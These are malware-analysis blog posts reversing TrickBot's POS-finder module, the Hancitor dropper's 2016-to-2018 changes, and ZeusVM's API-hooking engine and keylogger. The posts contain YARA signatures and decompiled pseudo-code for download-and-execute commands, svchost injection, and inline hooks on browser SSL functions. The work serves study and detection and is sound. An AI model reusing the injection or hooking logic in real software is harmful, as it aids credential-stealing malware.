Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:

A. Content-Disposition: form-data; name="proclist"
B. Content-Disposition: form-data; name="sysinfo"
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7” appears to be a marker/separator for the LDAP query collection upload to split the harvested information.
IV. Yara Signature

import "pe"

rule crime_win32_trickbot_psfin32_dll {
meta:
author = "@VK_Intel"
reference = "Detects TrickBot Point-of-Sale Finder Module"
date = "2018-11-07"
hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
strings:
$s0 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
$s1 = "Dpost servers unavailable" fullword ascii
$s2 = "USERS:" fullword wide
$s3 = "*POS*" fullword wide
$s4 = "/%s/%s/90" fullword wide
$s5 = "DOMAIN GC" fullword wide
$s6 = "*MICROS*" fullword wide
$s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide

$ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? 52 50 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 84 45 00 10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ?? ?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 50KB and
pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control") and pe.exports("Release") and
( all of them )
) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}

Let’s Learn: In-Depth Reversing of Hancitor Dropper/Loader: 2016 vs 2018 Malware Progression

Goal: Analyze the latest Hancitor variant (build “25xce10″) to determine dropper and downloader malware progression in time from 2016 to the latest version in 2018.
Source:
Original Packed Hancitor Loader 32-Bit (x86) (MD5: 0cabdc2d4b83cd8b210fd2bd15d54bdc)
Unpacked Hancitor Dropper & Loader 32-Bit (x86) (MD5: fc7748f302a1566c27568e094873817a)

Outline

I. Background
II. Original Packed Hancitor Loader 32-Bit (x86)
III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)
A. Hancitor MainThreadProcessor
B. Hancitor SystemInfo Generation
C. Hancitor RC4 CryptDecrypt Routine
IV. Yara Signature

I. Background
The group behind Hancitor distribution campaigns remains to be one of the more resourceful and sophisticated cybercrime loader-as-a-service group delivering various payloads – ranging from simple credential stealer malware to point-of-sale and banking malware variants (from Pony Stealer, EvilPony Stealer, AZORult Stealer to Neverquest Banker, Panda Banker, Gozi ISFB Banker, and Danabot Banker).
One of the most interesting malware analysis revolves around source code-level analysis malware development progression in time. I highly recommend reading this article on Hancitor titled “A Closer Look At Hancitor” written by Nick Hoffman and Jeremy Humble. I will utilize the malware sample from this article to compare against one of the latest Hancitor variants (h/t to @malware_traffic for the latest sample). Additionally, I recommend reading @benkow_’s blog titled “Hancitor Panel Overview” to learn more about the Hancitor panel.
II. Original Packed Hancitor Loader 32-Bit (x86)

The Hancitor malspam email chain included the first-stage loader as a malicious Microsoft Word document requiring a victim to enable macros to view the fax message as if it is from a legitimate company HelloFax.

III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)

By and large, while the group behind the malware is rather experienced and persistent, the Hancitor dropper remains to be a simple and unsophisticated dropper and loader type of malware that comes with little development from 2016. Some of the notable lack of development and adjustment includes its reliance on ANSI API calls as well as unsophisticated WriteProcessMemeory injection method, modified %TEMP% run method with joined function on CreateProcessA rather than as a separate function, absence of Winhost32.exe check logic and its derivative functions, additional error check on CreateProcessA and exception handling, improved parser function before WriteProcessMemory injection, joined injection function, no deletion logic, different initial and entry function.
The reviewed 2016 Hancitor dropper version contains 66 functions with the size of 20.00 KB (20480 bytes), while the latest 2018 Hancitor version consists of 51 functions with the size of 20.50 KB (20992 bytes). During pseudo source-code level analysis, it is revealed that the code contains 8 partial function matches (including perfect match, same MD index and constants, strongly connected components, and similar small pseudo-code), 34 unreliable function matches (including perfect match, same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count).
The notable differences include the absence of the connectivity check in the latest version. For example, the 2016 version contained tried to see if it can reach google.com as part of its logic. Moreover, the 2016 version did not contain the RC4 encryption with RtlDecompressBuffer API call to decode the next stage as opposed to the 2018 variant. The “e” command appears to be a new one relative to the 2016 version.
A. Hancitor MainThreadProcessor
In this case, I am looking into the Hancitor build “25xce10”. The Hancitor malware receives multiple commands that it leverages for parsing and executing additional steps. The commands and their execution are separated by “:”, and the URLs, for example, are separated with “|” symbol. 

Hancitor has logic to parse the following commands:










CommandDescription
"r"Download and execute .DLL or .EXE
"l"Download and execute .EXE in separate thread (arg=1)
"e"Download and execute .EXE in separate thread (arg=0)
"b"Download and inject code into svchost.exe
"d"N/A (not implemented; used to delete itself in older version)
"c"N/A (not implemented)
"n"N/A (not implemented)

The full pseudo-coded Hancitor main command processor function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl HancitorMainCommandProcessor(int cmd, signed int *a2)
{

if ( *(_BYTE *)(a1 + 1) == ':' )
{
switch ( *(_BYTE *)cmd )
{
case 'r':
// "r" command -> download and execute .DLL or .EXE
// if .DLL -> via rundll32.exe, $s,f1 in %TEMP% or if .EXE -> CreateProcessA

*a2 = RtlDecompressBuffer_GetTemp_rundll32(cmd + 2);
return 1;
case 'l':
// "l" command -> download and execute .EXE in separate thread (arg=1)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 1);
goto LABEL_5;
case 'e':
// "e" command -> download and execute .EXE in separate thread (arg=0)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 0);

LABEL_5:
*a2 = v3;
result = 1;
break;
case 'b':
// "b" command -> download and inject code into svchost.exe
// check for "MZ" header, call allocate memory and write code into the memory

*a2 = RtlDecompressBuffer_Call_svchost_injection(cmd + 2);
result = 1;
break;
case 'n':
// "n" command -> no processor for this command

*a2 = 1;
result = 1;
break;
default:
goto LABEL_9;
}
}
else
{
LABEL_9:
result = 0;
}
return result;
}

B. Hancitor SystemInfo Generation
By and large, the Hancitor malware collects generic information regarding the host that includes various information filled into the formatted collector string:

GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32|64)

The shortened pseudo-coded C++ Hancitor SystemInfo function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl SystemInfo(int a1, int a2, int a3)
{
version_ret = GetVersion();
bot_id = qword_1E6178;
win_version = version_ret;
build_bot_1 = HIDWORD(qword_1E6178);
if ( !qword_1E6178 )
{
LODWORD(v7) = Adapteers_GetWindowsDirectoryA();
build_bot_1 = HIDWORD(v7);
bot_id = v7;
qword_1E6178 = v7;
}
GetComputerNameA_0((signed int)&comp_name);
ExternalAPI_resolution(v8, bot_id, (int)&external_ip);
win_version_1 = (unsigned __int8)win_version;
check_if_x64 = GetNativeSystemInfo() == 1;
comp_name_info = pbData_1;
if ( check_if_x64 )
{
if ( !pbData_1 )
{
pbData_1 = GetProcessHeap_0(0x2000);
func1(pbData_1, (char *)&unk_1E4018, 0x2000);
Crypto_func(pbData_1, 0x2000, (int)&pbData_key, 8);
comp_name_info = pbData_1;
}
wsprintfA(
&formatted_systeminfo,
"GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)",
bot_id,
build_bot_1,
comp_name_info,
&comp_name,
&external_ip,
win_version_1,
HIBYTE(win_version));
}

C. Hancitor RC4 CryptDecrypt Routine

The Hancitor dropper heavily utilizes RtlDecompressBuffer and Crypto API to decrypt its payloads. Rather than relying on custom decryption, the malware simply implements the RC4 decryption logic.

IV. Yara Signature

import "pe"

rule crime_win32_hancitor_dropper {
meta:
author = "@VK_Intel"
reference = "Detects Hancitor Dropper/Loader"
date = "2018-11-04"
hash1 = "c61f929981c573e43dd08f0c5a047ba3a3167436b493df819461d4e7953a91ed"
strings:
$s1 = "Rundll32.exe %s,f1" fullword ascii
$s2 = "explorer.exe" fullword ascii
$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
$s4 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" fullword ascii
$s5 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)" fullword ascii
$s6 = "http://api.ipify.org" fullword ascii
$s7 = "Content-Type: application/x-www-form-urlencoded" fullword ascii

$crypt_sysfunction = { 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 0f b6 c3 83 c4 08 c1 eb 08 89 ?? ?? 0f b6 db e8 ?? ?? ?? ?? 83 f8 01 a1 ?? ?? ?? ?? 75 ?? 85 c0 75 ?? 68 00 20 00 00 e8 ?? ?? ?? ?? 68 00 20 00 00 68 18 40 1e 00 50 a3 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 08 68 10 40 1e 00 68 00 20 00 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a1 ?? ?? ?? ?? 83 c4 20}

$external_ip_resolution = { 55 8b ec 51 80 ?? ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? 50 6a 20 68 80 61 1e 00 68 c4 31 1e 00 e8 ?? ?? ?? ?? 83 c4 10 83 f8 01 75 ?? 8b ?? ?? c6 ?? ?? ?? ?? ?? ?? 68 80 61 1e 00 ff ?? ?? ff ?? ?? ?? ?? ?? b8 01 00 00 00 8b e5 5d c3 68 dc 31 1e 00 ff ?? ?? c6 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 33 c0 8b e5 5d c3}

$main_cmd_processor = { 55 8b ec 8b ?? ?? 80 ?? ?? ?? 75 ?? 0f ?? ?? 83 c0 9e 83 f8 10 77 ?? 0f ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 6a 01 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 08 89 ?? b8 01 00 00 00 5d c3 6a 00 eb ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 8b ?? ?? c7 ?? ?? ?? ?? ?? b8 01 00 00 00 5d c3 33 c0 5d c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 60KB and
pe.imphash() == "9ea0470ccffd0a7ac8dd70e0968d3e95" and
( all of them )
or 5 of ($s*) and ( $main_cmd_processor ) or ( $crypt_sysfunction and $external_ip_resolution ) )
}

Let’s Learn: Exploring ZeusVM Banking Malware Hooking Engine

Goal: Analyze and reverse one of the latest ZeusVM variants with the special attention to its main client module and its keylogger component.

https://platform.twitter.com/widgets.js

Source:
Original Packed Loader 32-Bit (x86) (MD5: 649d7732a28818947146070b6959fbd9)
Client 32-Bit Executable (x86) (MD5: f024f3ec18de88a7745b5f3a90c69a31)
Keylogger “klog” Executable 32-Bit (x86)(MD5: 3ef2632c2476c33def2c51b0e383cab1)
Outline
I. Background
II. ZeusVM Banker: Client 32-Bit Executable (x86)
III. Hooking Engine EnterHook
A. MainHook API Logic
B. EnterHook
C. Hooked API calls
1. TlsGetValue API Hook
2. “CreateProcessNotifyApi" Hook and Other Kernel32/Wininet API Hooks
3. Mozilla Firefox API Hook
4. Google Chrome SSL Hook
D. ExitHook
IV. ZeusVM Keylogger Executable
A. Keylog “Init” Function
B. Keylog Take Screenshot Function
V. Yara Signature
A. ZeusVM Client Version
B. ZeusVM Keylogger Component
VI. Indicators of Compromise (IOCs)
VII. Addendum: Hooked API Calls
Background
This latest binary of the ZeusVM banking malware was initially identified by @Racco42 and tagged by @James_inthe_box. Before diving deeper into this malware variant, I highly recommend reading Dennis Schwartz’ report titled “ZeusVM: Bits and Pieces.” The focus of this report is to explore the ZeusVM banking malware hooking and engine.
Malware Analysis

The ZeusVM client consists of 903 functions with the size of 229.50 KB (235008 bytes). The original Zeus client consisted of 558 functions with the size of 138.00 KB (141312 bytes). Leveraging the Diaphora plugin, it was identified that there are 371 function best matches (including function hash, bytes hash, perfect match, equal pseudo-code, equal assembly, same rare MD index), 130 function partial matches (including mnemonics same-primes-product, callgraph match, pseudo-code fuzzy hash, same constants, similar small pseudo-code), 55 function unreliable matches (including strongly connected components and same-primes-product), and 345 function unmatched matches in the latest ZeusVM as compared to the leaked Zeus 2.0.8.9 client. The ZeusVM is, by and large, an evolution of the leaked Zeus variant. The ZeusVM binary adds various dynamic API loading methodology with the additional features (e.g., Google Chrome API hooking).

III. Hooking Engine
The ZesVM malware employs API hook splicing technique to intercept API calls of interest by inserting a jump instruction. ZeusVM hooking engine is leveraged to hook various browser and other API for information-stealing purposes.

A. HookAPI
The hooking engine of the malware is char type HookAPI one taking five parameters to hook API calls of interest. The function allocates memory and sets up proper protections and calls two additional functions that I describe as “EnterHook” and “ExitHook” ones.
The HookAPI function sequence -> checks if the function is at the base address ->  “AllocateBuffer” (via VirtualAlloc API call) -> “EnterHook” setting up the trampoline and splicing the call -> “ExitHook” function.
The pseudo-coded ZeusVM HookiAPI function is as follows: 
//////////////////////////////////////////////////
//////////// ZeusVM HookAPI Function /////////////
//////////////////////////////////////////////////

char __stdcall HookAPI(HANDLE hProcess, DWORD flOldProtect, int a3, LPVOID lpBaseAddress, int a5)
{
v5 = a3;
if ( (LPVOID)a3 != lpBaseAddress || !VirtualAlloc_func(a3, hProcess, (int)&lpBaseAddress, (int)&a3) )
return 0;
v7 = 0;
if ( v5 )
{
v8 = a3;
v9 = flOldProtect + 8;
while ( *(_DWORD *)(v9 - 8) )
{
*(_DWORD *)(v9 + 4) = v8;
*(_DWORD *)v9 = 0;
*(_BYTE *)(v9 + 8) = 0;
++v7;
v8 += 0x37;
v9 += 0x14;
if ( v7 >= v5 )
goto LABEL_8;
}
result = 0;
}
else
{
LABEL_8:
v10 = (char *)lpBaseAddress;
if ( lpBaseAddress )
{
a3 = 0;
if ( v5 > 0 )
{
originalFunction = flOldProtect + 4;
do
{
v12 = EnterHook(
hProcess,
originalFunction - 4,
*(_DWORD *)originalFunction,
v10,
*(LPVOID *)(originalFunction + 8));
if ( !v12 )
break;
*(_DWORD *)(originalFunction + 4) = v10;
v10 += v12;
++a3;
*(_BYTE *)(originalFunction + 12) = v12;
originalFunction += 20;
}
while ( a3 < v5 );
}
if ( a3 == v5 )
return 1;
ExitHook(hProcess, flOldProtect, v5);
}
result = 0;
}
return result;
}
B. EnterHook
The “EnterHook” function is the SIZE_T type taking 5 parameters. ZeusVM enables its hooks as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
//////////////////////////////////////////////////
//////////// ZeusVM EnterHook Function /////////////
//////////////////////////////////////////////////
SIZE_T __stdcall EnterHook(HANDLE hProcess, int functionForHook, \
int hookerFunction, LPVOID lpBaseAddress, LPVOID originalFunction)
{

v5 = *(_DWORD *)functionForHook;
v6 = 0;
v19 = 0;
memset(&Buffer, 0x90, 0x28u);
memset(&v15, 0x90, 0x37u);
while ( 1 )
{
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) < 5 )
return 0;
if ( ((int (__stdcall *)(int, _DWORD))loc_433710)(v5, 0) != 2 || *(_BYTE *)v5 != -21 )
break;
v5 += *(_BYTE *)(v5 + 1) + 2;
}
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) >= 0x1E
&& VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, 0x40u, &flOldProtect) )
     // Set up proper execution access
{
if ( ReadProcessMemory(hProcess, (LPCVOID)v5, &Buffer, 0x1Eu, 0) )
    // Read the original function code
{
v8 = 0;
for ( i = (char *)&Buffer; ; i = (char *)(&Buffer + v8) )
{
v10 = ((int (__stdcall *)(char *, _DWORD))loc_433710)(i, 0);
if ( v10 == 0xFFFFFFFF )
break;
v8 += v10;
if ( v8 > 0x23 )
break;
if ( v8 >= 5 )
{
nSize = v8;
v22 = 0;
do
{
v11 = (char *)(&Buffer + v22);
v12 = ((int (__stdcall *)(unsigned __int8 *, _DWORD))loc_433710)(&Buffer + v22, 0);
v13 = *v11;
            if ( *v11 != 0xE9u && v13 != 0xE8u || v12 != 5 )
       
{
qmemcpy(&v15 + v6, v11, v12);
v6 += v12;
}
else
{
*(&v15 + v6) = v13;
*(int *)((char *)&v16 + v6) = v5 + v22 + *(_DWORD *)(v11 + 1) - v6 - (_DWORD)a5;
v6 += 5;
}
v22 += v12;
}
while ( v22 != nSize );
if ( WriteProcessMemory(hProcess, lpBaseAddress, &Buffer, nSize, 0) )
{
*(int *)((char *)&v16 + v6) = nSize - v6 - (_DWORD)a5 + v5 - 5;
*(&v15 + v6) = 0xE9u;
if ( WriteProcessMemory(hProcess, a5, &v15, v6 + 5, 0) )
{
v18 = hookerFunction - v5 - 5;
v14 = *(_DWORD *)functionForHook;
Buffer = 0xE9u;
            // "0xE9" -> opcode for a jump with a 32bit relative offset
              NtCreateThread_func(v14, (int)a5);
if ( WriteProcessMemory(hProcess, (LPVOID)v5, &Buffer, 5u, 0) )
v19 = nSize;
}
}
break;
}
}
}
VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, flOldProtect, &flOldProtect);
}
*(_DWORD *)functionForHook = v5;
return v19;
}
C. ZeusVM Hooked API
The “EnterHook” function is the SIZE_T type taking 5 parameters. The function employs VirtualQuery to check for available bytes, sets up proper execution access, reads the original API function and overwrites it with the 0xe9, which is an opcode for a jump with a 32-bit relative offset. This similar technique is used in many malware variants (including Ramnit, Gozi ISFB, Panda, and others).

1. TlsGetValue Hook

ZeusVM just like the leaked Zeus 2.0.8.9 sets up a function hook for TlsGetValue API call to intercept child process flags.
2. “CreateProcessNotifyApi” Hook and Other Kernel32/Wininet Hooks
The malware sets up a plethora of various process and information specific API calls that were originally called “corehook” in the original Zeus 2.0.8.9. Again, this malware simply borrows the previous ZeusVM exact API hooks.
////////////////////////////////////////////////////////////////////////////////
//////////// ZeusVM CreateProcessNotifyApi and Other Function Hook /////////////
////////////////////////////////////////////////////////////////////////////////
int (__stdcall *NtCreateUserProcess)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD);
WCHAR pszPath;

NtCreateUserProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD, _DWORD, _DWORD))::NtCreateUserProcess;
if ( ::NtCreateUserProcess )
{
dword_43825C = (int)sub_41B216;
}
else
{
NtCreateUserProcess = NtCreateThread;
dword_43825C = (int)sub_41B160;
}
...
dword_438564 = (int)TranslateMessage;
dword_438578 = (int)GetClipboardData;
dword_43858C = (int)PFXImportCertStore;
dword_438018 = (int)HttpSendRequestW;
dword_438058 = (int)HttpSendRequestA;
dword_438098 = (int)HttpSendRequestExW;
dword_4380D8 = (int)HttpSendRequestExA;
dword_438118 = (int)InternetCloseHandle;
dword_438158 = (int)InternetReadFile;
dword_438198 = (int)InternetReadFileExA;
dword_4381D8 = (int)InternetQueryDataAvailable;
dword_438218 = (int)HttpQueryInfoA;
if ( !SHGetFolderPathW(0, 0x25, 0, 0, &pszPath) )
{
PathRemoveBackslashW(&pszPath);
PathCombineW_func(L"wininet.dll", &pszPath, &pszPath);
sub_42E9C6(&pszPath);
}
return HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&NtCreateUserProcess_0, 0x2A, (LPVOID)0x2A, 1);
3. Mozilla Firefox API Hook
As usual, the malware sets up browser-specific Mozilla Firefox API hooks.

4. Google Chrome SSL Hook
While it is relatively easy to find and hook DLL exported functions: “PR_Read” and “PR_Write” in the Mozilla Firefox browser, it is much more complicated to do the same for Google Chrome, wherein the functions “SSL_Read” and “SSL_Write” functions are not exported in the same fashion. The hooking algorithm necessitates walking the Google Chrome “boringssl” chrome.dll’s ‘.rdata’ section to locate the necessary functions. For more information, please review this helpful article on the exact methodology.

The pseudo-coded C++ is as follows:
/////////////////////////////////////////////////////////
//////////// ZeusVM Google Chrome Hooks ///////////////
////////////////////////////////////////////////////////
char __stdcall ChromeSSLHook(int a1)
{
int v1;
char result;
char v3;
v1 = SearchforChrome_rdata(a1);
if ( v1 )
{
dword_438604 = *(_DWORD *)(v1 + 4);
dword_438618 = *(_DWORD *)(v1 + 8);
dword_43862C = *(_DWORD *)(v1 + 12);
v3 = HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&dword_438604, 3, (LPVOID)3, 1);
if ( v3 )
sub_42F2FB(a1, dword_438610, dword_438624, dword_438638);
result = v3;
}
else
{
result = 0;
}
return result;
}
D. ExitHook
The malware’s ExitHook function simply returns the permissions and protection and function previous state before the hook via the following sequence:
checkAvalibleBytes -> VirtualProtectEx -> WriteProcessMemory (with original function) -> VirtualProtectEx.
IV. Keylogger Executable
ZesVM malware also drops its own primitive keylogger with screenshot capabilities. The total executable is 6.00 KB (6144 bytes); its own internal name is “keylogger.exe,” and it contains 8 functions with the export functions “Init” and “Uninit.”

A. Keylog “Init” Function & “TakeScreenshot” Function
The keylogger logic is unsophisticated formatting the keylogged data formatting as “KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d” and the grabbed screenshots formatting as “KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d.”

V.Yara Signature

A. ZeusVM Client Version
import "pe"

rule crime_win32_zeusvm_client_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM client"
date = "2018-10-29"
hash1 = "4d2705b74f7648fdf741f87e4eee9a71c823ac649d53dd5715cb3a6b6d0b6c10"
strings:
$s0 = "http://www.google.com/webhp" fullword ascii
$s1 = "bcdfghjklmnpqrstvwxzaeiouy" fullword ascii
$s2 = "FIXME" fullword ascii
$s3 = "vnc" fullword ascii
$s4 = "socks" fullword ascii
$xor_decode = { 0f b7 c0 8d ?? ?? ?? ?? ?? ?? 33 d2 33 c9 66 ?? ?? ?? 73 ?? 56 8b ?? ?? 0f b7 f1 8a ?? ?? 32 ?? 32 d1 41 88 ?? ?? 66 ?? ?? ?? 72 ?? 5e 0f ?? ?? ?? c6 ?? ?? ?? c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 700KB and
pe.imphash() == "97cdaa72c3f228ec37eb171715fe20ca" and
( all of them )
) or ( all of them )
}

B. ZeusVM Keylogger Component

import "pe"


rule crime_win32_zeusvm_keylogger_component_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM Keylogger Component"
date = "2018-10-29"
hash1 = "58cea503342f555b71cc09c1599bb12910f193109bd88d387bca44b99035553f"
strings:
$s1 = "keylog.exe" fullword ascii
$s2 = "KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
$s3 = "KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 20KB and
pe.imphash() == "ea04b0c46651d6d5ecb1bc99e6050fd8" and pe.exports("Uninit") and
( all of them )
) or ( all of them )
}
VII. Addendum: Hooked API Calls
*following the same Zeus 2.0.8.9 convention*
Core Hook API
  {NULL, CoreHook::hookerLdrLoadDll,                    NULL, 0},
{NULL, CoreHook::hookerNtQueryDirectoryFile, NULL, 0},
  {NULL, CoreHook::hookerNtCreateFile,                  NULL, 0},
{NULL, CoreHook::hookerGetFileAttributesExW, NULL, 0},

Wininet Hook API

  {NULL, WininetHook::hookerHttpSendRequestW,           NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestA, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExW, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExA, NULL, 0},
{NULL, WininetHook::hookerInternetCloseHandle, NULL, 0},
{NULL, WininetHook::hookerInternetReadFile, NULL, 0},
{NULL, WininetHook::hookerInternetReadFileExA, NULL, 0},
{NULL, WininetHook::hookerInternetQueryDataAvailable, NULL, 0},
{NULL, WininetHook::hookerHttpQueryInfoA, NULL, 0},

Sock Hook API

  {NULL, SocketHook::hookerCloseSocket,                 NULL, 0},
{NULL, SocketHook::hookerSend, NULL, 0},
{NULL, SocketHook::hookerWsaSend, NULL, 0},

VNC Server Hook API

  {NULL, VncServer::hookerOpenInputDesktop,             NULL, 0},
{NULL, VncServer::hookerSwitchDesktop, NULL, 0},
{NULL, VncServer::hookerDefWindowProcW, NULL, 0},
{NULL, VncServer::hookerDefWindowProcA, NULL, 0},
{NULL, VncServer::hookerDefDlgProcW, NULL, 0},
{NULL, VncServer::hookerDefDlgProcA, NULL, 0},
{NULL, VncServer::hookerDefFrameProcW, NULL, 0},
{NULL, VncServer::hookerDefFrameProcA, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcW, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcA, NULL, 0},
{NULL, VncServer::hookerCallWindowProcW, NULL, 0},
{NULL, VncServer::hookerCallWindowProcA, NULL, 0},

{NULL, VncServer::hookerRegisterClassW, NULL, 0},
{NULL, VncServer::hookerRegisterClassA, NULL, 0},
{NULL, VncServer::hookerRegisterClassExW, NULL, 0},
{NULL, VncServer::hookerRegisterClassExA, NULL, 0},

{NULL, VncServer::hookerBeginPaint, NULL, 0},
{NULL, VncServer::hookerEndPaint, NULL, 0},
{NULL, VncServer::hookerGetDcEx, NULL, 0},
{NULL, VncServer::hookerGetDc, NULL, 0},
{NULL, VncServer::hookerGetWindowDc, NULL, 0},
{NULL, VncServer::hookerReleaseDc, NULL, 0},
{NULL, VncServer::hookerGetUpdateRect, NULL, 0},
{NULL, VncServer::hookerGetUpdateRgn, NULL, 0},

{NULL, VncServer::hookerGetMessagePos, NULL, 0},
{NULL, VncServer::hookerGetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCapture, NULL, 0},
{NULL, VncServer::hookerReleaseCapture, NULL, 0},
{NULL, VncServer::hookerGetCapture, NULL, 0},
{NULL, VncServer::hookerGetMessageW, NULL, 0},
{NULL, VncServer::hookerGetMessageA, NULL, 0},
{NULL, VncServer::hookerPeekMessageW, NULL, 0},
{NULL, VncServer::hookerPeekMessageA, NULL, 0},

User Hook API

  {NULL, UserHook::hookerTranslateMessage,              NULL, 0},
{NULL, UserHook::hookerGetClipboardData, NULL, 0},
{NULL, UserHook::hookerSetWindowTextW, NULL, 0},

CertStore Hook API

  {NULL, CertStoreHook::_hookerPfxImportCertStore,      NULL, 0},

TlsGetValue Hook API

TlsGetValue

Mozilla Firefox Hook API

PR_OpenTCPSocket
PR_Close
PR_Read
PR_Write
PR_Poll
PR_GetNameForIdentity
PR_SetError
PR_GetError

Google Chrome Hook API

SSL_Read
SSL_Write